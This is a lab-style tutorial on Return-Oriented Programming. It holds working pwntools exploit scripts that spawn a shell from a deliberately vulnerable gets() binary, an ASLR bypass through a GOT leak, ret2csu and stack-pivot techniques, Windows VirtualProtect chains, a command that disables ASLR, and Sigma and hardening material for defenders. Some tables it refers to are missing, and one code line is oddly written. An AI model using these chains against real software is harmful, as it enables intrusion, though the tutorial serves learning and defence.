Return-Oriented Programming (ROP): Gadgets, Chains, and the ROP Mindset

You’ve got a clean stack overflow. You control the saved return address, you drop in your beautiful execve shellcode, you point RIP at it, and the process dies with a SIGSEGV the instant your first instruction executes. The stack is mapped rw-, not rwx. That’s NX doing its job, and it’s the moment every exploit developer meets Return-Oriented Programming.

Objective: Understand ROP at the instruction level – the ret dispatcher, gadget classification, and calling-convention constraints – then build a working ret2libc chain against a self-authored vulnerable Linux binary, extend it to defeat ASLR, adapt the mindset to Windows VirtualProtect chains, and pair every stage with concrete detection and hardening a defender can ship today.

1. Why Shellcode Died: DEP, NX, and the Need for ROP

Data Execution Prevention (NX on the hardware side) marks writable memory non-executable. Your injected bytes still sit on the stack; the CPU just refuses to fetch instructions from a page without the execute bit. Injecting code is dead. Reusing code is not.

The idea predates the acronym. Solar Designer’s 1997 ret2libc overwrote a return address with the address of system() and let the C library do the dirty work. Hovav Shacham generalized this in 2007: instead of calling one whole function, chain hundreds of tiny fragments that already live in executable memory, each ending in ret. Shacham’s claim, and it holds up, is that any sufficiently large code base (libc alone qualifies) contains enough of these fragments to be Turing-complete. You never write a single byte of new code. You just rearrange the execution of code that’s already there.

Two properties make ROP work:

• DEP/NX bypass. Every gadget lives in an already-executable page. Nothing new is marked executable, so NX never fires.
• ASLR resistance. ASLR randomizes base addresses, not the relative offsets inside a module. Leak one address from libc and every gadget offset falls into place.

2. The Stack Under the Microscope

To chain gadgets you have to understand exactly what ret does. On x86-64:

• call target pushes the address of the next instruction onto the stack, then jumps to target.
• ret pops 8 bytes off [rsp] into RIP and jumps there.

ret is not magic. It’s pop rip. It trusts whatever is at the top of the stack. When you overflow buf and clobber the saved return address, you are literally handing ret its next target. Now extend that: if you place a sequence of addresses on the stack, each pointing at a code fragment that itself ends in ret, then each fragment executes, pops the next address, and jumps. The stack becomes a program counter you control. That is the ROP dispatcher, and it costs the attacker nothing but stack space.

Here is the target we’ll break. Small, honest, deliberately broken.

// vuln.c  -  compile per stage table below
#include <stdio.h>
#include <string.h>

void win() { /* ret2win warmup target for Stage 0 */ }

void vuln() {
    char buf[64];
    gets(buf);            // no bounds check, on purpose
}

int main() {
    puts("ROP Lab - Enter input:");
    vuln();
    return 0;
}

We compile it in stages so the mitigations come on one at a time:

Disable ASLR globally for Stage 1 so addresses stay put while you learn:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

3. What Is a Gadget? Anatomy and Classification

A gadget is a short instruction sequence ending in ret (or another indirect branch) that lives inside existing executable code. You don’t need the assembler to have intended the sequence. Disassemble from a byte in the middle of an instruction and you often find a useful gadget the compiler never wrote on purpose.

These are the archetypes you will actually use:

That last row is not filler. It has eaten more of my afternoons than any other single detail in ROP.

The war story. My first x86-64 ret2libc crashed inside system, not in my chain. Everything looked perfect: rdi held /bin/sh, the address was right, and it still died on a movaps instruction deep in glibc. The System V ABI requires RSP to be 16-byte aligned at the point of a call. glibc’s do_system uses SSE instructions (movaps) that fault on a misaligned stack. My chain left RSP off by 8. The fix is comically small: prepend one extra bare ret gadget before the call. It advances RSP by 8, restoring alignment, and the SSE instruction stops faulting. If your ret2libc dies on movaps and you can’t figure out why, that’s it.

4. Gadget Hunting: Tools and Workflow

Two tools do 95% of the work: ROPgadget and ropper. pwndbg ships ropper integration so you can hunt inside a live debugging session.

# Confirm what you're up against first
file vuln
checksec --file=vuln        # pwntools: expect NX enabled, PIE disabled, No canary

# Find pop rdi; ret in the binary itself
ROPgadget --binary vuln --only "pop|ret" | grep "pop rdi"

# Same hunt inside libc (needed for the interesting gadgets)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep "pop rdi"

# The /bin/sh string that lives inside libc
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --string "/bin/sh"

# system() offset
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " system"

# A bare ret for alignment
ROPgadget --binary vuln --only "ret"

Useful flags across the two tools:

ropper tends to produce cleaner, deduplicated output and richer semantic search; ROPgadget has the built-in chain generator. I hunt with ropper, sanity-check offsets with ROPgadget.

5. Building Your First Chain: ret2libc on a 64-bit Linux Binary

Stage 1: NX on, no PIE, ASLR disabled. Static addresses everywhere.

Step 1, find the offset. Feed a cyclic pattern, crash it, read where RSP points.

python3 -c "from pwn import *; print(cyclic(150).decode())" | ./vuln
# Under pwndbg after the crash:
#   pwndbg> cyclic -l <8 bytes at rsp>
# For a 64-byte buffer + 8-byte saved RBP, the offset to saved RIP is 72.

If you prefer Metasploit’s tooling, pattern_create.rb -l 150 and pattern_offset.rb -q <value> return the same 72.

Step 2, extract your gadgets. Because we compiled -no-pie, pop rdi; ret and the bare ret inside vuln are fixed. Grab the real values from your own ROPgadget output; the addresses below are representative of a small no-PIE ELF and will differ slightly on your build.

0x0000000000401183 : pop rdi ; ret
0x000000000040101a : ret

Step 3, assemble the chain. With ASLR off, libc.address resolves to the base the loader actually used, so system and /bin/sh are computable.

from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Pull these from YOUR ROPgadget output
POP_RDI = 0x401183      # pop rdi ; ret
RET     = 0x40101a      # bare ret - alignment fix

OFFSET  = 72

p = process('./vuln')

# ASLR off -> libc loaded at a fixed base; read it from the running map
libc.address = int(p.libs()[libc.path], 16) if False else libc.address
BIN_SH = next(libc.search(b'/bin/sh\x00'))
SYSTEM = libc.sym['system']

payload  = b'A' * OFFSET
payload += p64(RET)          # 16-byte align RSP before the call into system
payload += p64(POP_RDI)
payload += p64(BIN_SH)
payload += p64(SYSTEM)

p.recvline()
p.sendline(payload)
p.interactive()

Run it, and you get a shell. The p64(RET) line is the alignment fix from the war story. Leave it out and watch system fault on movaps.

Detection for this stage

There is no shellcode and no new executable memory, so classic AV signatures see nothing. What the host sees is the outcome: a network-facing or non-interactive process suddenly spawns /bin/sh. On Linux, auditd with an execve rule and Sysmon-for-Linux Event ID 1 (process create) both capture the child-shell anomaly. The structural fact of a ROP chain is invisible at the telemetry layer; the behaviour is not.

6. Dealing with Gadget Scarcity: ret2csu and Stack Pivots

Real targets rarely hand you a clean pop rdx; ret. When you need to control rdx (the 3rd argument, mandatory for execve‘s envp or for a write length) and no such gadget exists, reach into __libc_csu_init. It ships in every non-PIE, non-static glibc-linked binary and contains a reliable two-gadget pair.

; Gadget A (csu_init_gadget_b)
pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

; Gadget B (csu_init_gadget_a)
mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8]

The play: use Gadget A to load r13 -> rdx, r14 -> rsi, r15 -> edi, and set r12/rbx so [r12+rbx*8] points at a function pointer you control (a GOT entry works). Gadget B moves those registers into the argument registers and calls through the pointer. Set rbx = 0 so the call resolves to [r12].

There is a subtlety worth committing to memory: after the call returns, __libc_csu_init runs add rbx, 1; cmp rbx, rbp; jne loop. To fall straight through, set rbp = 1 and rbx = 0 so the compare passes on the first pass. Then a stack of padding follows to skip the register-restore epilogue. Getting rbp/rbx wrong sends execution into a loop that re-calls your pointer, which is a genuinely confusing crash the first time you meet it.

Stack pivots solve a different scarcity: not enough room in the overflowed buffer for a full chain. Pivot RSP into a larger, attacker-controlled region (often .data or .bss you’ve pre-seeded via a first-stage write):

0x00000000004011f0 : xchg rsp, rax ; ret

Load your second-stage stack address into rax, hit xchg rsp, rax; ret, and the dispatcher now reads from your staging area. The buffer just needed to hold the pivot.

7. Automating Chains with pwntools ROP Module

Hand-assembling offsets is how you learn. pwntools‘ ROP class is how you move fast once you understand it. It resolves gadgets, handles alignment, and implements ret2csu for you.

from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop  = ROP(elf)

# High-level: describe intent, let pwntools find gadgets
rop.call('puts', [elf.got['puts']])   # leak puts@GOT via PLT
rop.call('vuln')                       # loop back for a second input

log.info(rop.dump())                   # human-readable chain layout

payload  = b'A' * 72
payload += rop.chain()

p = process('./vuln')
p.recvline()
p.sendline(payload)

# Stage 2: parse the leak, compute libc base, build ret2libc
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f'libc base: {hex(libc.address)}')

rop2 = ROP(libc)
rop2.raw(rop2.ret)                      # alignment
rop2.system(next(libc.search(b'/bin/sh\x00')))

p.sendline(b'A' * 72 + rop2.chain())
p.interactive()

That two-stage flow is the ASLR bypass (Stage 2). Because RELRO is not now on our default build, puts@GOT is populated after the first call and leaks the real runtime address of puts. Subtract puts‘s known offset, and every libc address is yours. When you hit a scarcity wall, rop.ret2csu(edi=..., rsi=..., rdx=...) builds the CSU chain programmatically instead of you laying out r12–r15 by hand.

8. ROP on Windows: VirtualProtect Chains

The mindset transfers directly; the goal shifts. On Windows you rarely ret2libc. You build a chain that calls VirtualProtect (in kernel32.dll) to flip a page holding your shellcode to PAGE_EXECUTE_READWRITE, then return into that shellcode. NX is satisfied because you asked the OS politely to make the page executable.

Build a minimal vulnerable console app and compile it with the stack cookie disabled (/GS-) and CFG off (/guard:cf-) so you can focus on the ROP mechanics rather than fighting three mitigations at once. VirtualProtect takes four arguments (lpAddress, dwSize, flNewProtect, lpflOldProtect). On x64 Windows these go in rcx, rdx, r8, r9, so you need gadgets that load those registers, which changes gadget selection entirely versus the System V rdi/rsi/rdx/rcx order.

Gadget hunting uses the same tools plus one Windows classic:

# Immunity Debugger + mona.py
!mona modules
!mona rop -m "kernel32.dll,ucrtbase.dll" -cpb "\x00\x0a\x0d"

# or cross-check with ROPgadget against the DLL
ROPgadget --binary C:\Windows\System32\kernel32.dll --only "pop|ret"

mona‘s rop command will even draft a VirtualProtect skeleton and flag gadgets containing your bad bytes (-cpb). Debug in x64dbg or WinDbg, set a breakpoint on kernel32!VirtualProtect, and confirm rcx/rdx/r8/r9 hold what you expect before it executes. The calling-convention shift is the single biggest adjustment for anyone coming from Linux ROP.

Calling convention, side by side

9. Detection and Defense: Seeing and Stopping ROP

The hard truth first: no telemetry source fires on gadget execution. ROP detection is behavioural. You catch what the chain does, not the chain itself. Detect it structurally in hardware, or detect its outcome in logs.

Structural mitigations

Shadow Stack (CET) is the mitigation that ends the technique as a class: a mismatched return address is detected in hardware regardless of how clever the chain is.

Telemetry that catches the outcome

Verify the exact CET/CFG ETW provider event names against current Windows 11 documentation; Microsoft has renamed these across OS builds.

Sigma: catch the shell, not the gadget

title: Suspicious Shell Spawned by Network Service
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - '\httpd.exe'
            - '\nginx.exe'
            - '\java.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\sh.exe'
    condition: selection
falsepositives:
    - Legitimate admin scripts
level: high
tags:
    - attack.defense_evasion
    - attack.t1055

Linux hardening checklist

Tools

MITRE ATT&CK mapping

ATT&CK has no single “ROP” technique. ROP is a mechanism serving several techniques; map it honestly.

10. The ROP Mindset: Thinking Like a Constraint Solver

Once the mechanics click, ROP stops being about memorizing gadgets and becomes a constraint-satisfaction problem. You have a fixed inventory of gadgets (the ones that exist in the target), a fixed goal (registers set to specific values, then a call or syscall), and a set of constraints (bad bytes, alignment, scarce registers). You solve backward from the goal.

Ask, in order: what does the final call need in each register? Which gadget sets the last register cleanly? Does that gadget clobber a register I already set? If gets truncates at 0x0a, is any gadget address or data value poisoned by a \n, and can I substitute an equivalent gadget without that byte? Is RSP 16-byte aligned at the moment of the call? Prefer short gadgets with no side effects: a pop rdi; ret beats a pop rdi; pop rbp; add rsp, 8; ret that forces you to account for junk. Gadget quality is a real metric, measured in side effects and bad bytes.

That backward-planning, constraint-pruning habit is the transferable skill. ret2csu, stack pivots, ret2plt, and the whole family of variants (JOP, COP, ret2csu, and remote Blind ROP) are just this same solver applied under tighter constraints. Learn the solver, not the recipe.

Summary

• ROP defeats DEP/NX by executing code that is already executable, chaining ret-terminated gadgets into arbitrary behaviour without injecting a single new byte.
• The stack is the dispatcher: ret is pop rip, so a stack full of gadget addresses is a program you control.
• A working 64-bit ret2libc needs only pop rdi; ret, a /bin/sh string, system, and a bare ret for 16-byte movaps alignment; scarcity is answered with ret2csu and stack pivots, ASLR with a puts@GOT leak.
• Windows chains swap the goal to VirtualProtect and the ABI to rcx/rdx/r8/r9, but the constraint-solver mindset is identical.
• Detection is behavioural, not structural – no log fires on a gadget, so catch the outcome (Sysmon Event ID 1/8/10, Security-Mitigations ETW) and kill the class in hardware with CET shadow stacks, CFG, and full RELRO.

Related Tutorials

• Egghunters: Staged Payload Delivery When Buffer Space Is Tight
• Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
• Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
• Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
• Writing Your First Shellcode: x86 Reverse Shell from Scratch

References

• en.wikipedia.org
• github.com
• docs.pwntools.com
• pwndbg.re
• ropemporium.com
• trustfoundry.net
• techcommunity.microsoft.com
• learn.microsoft.com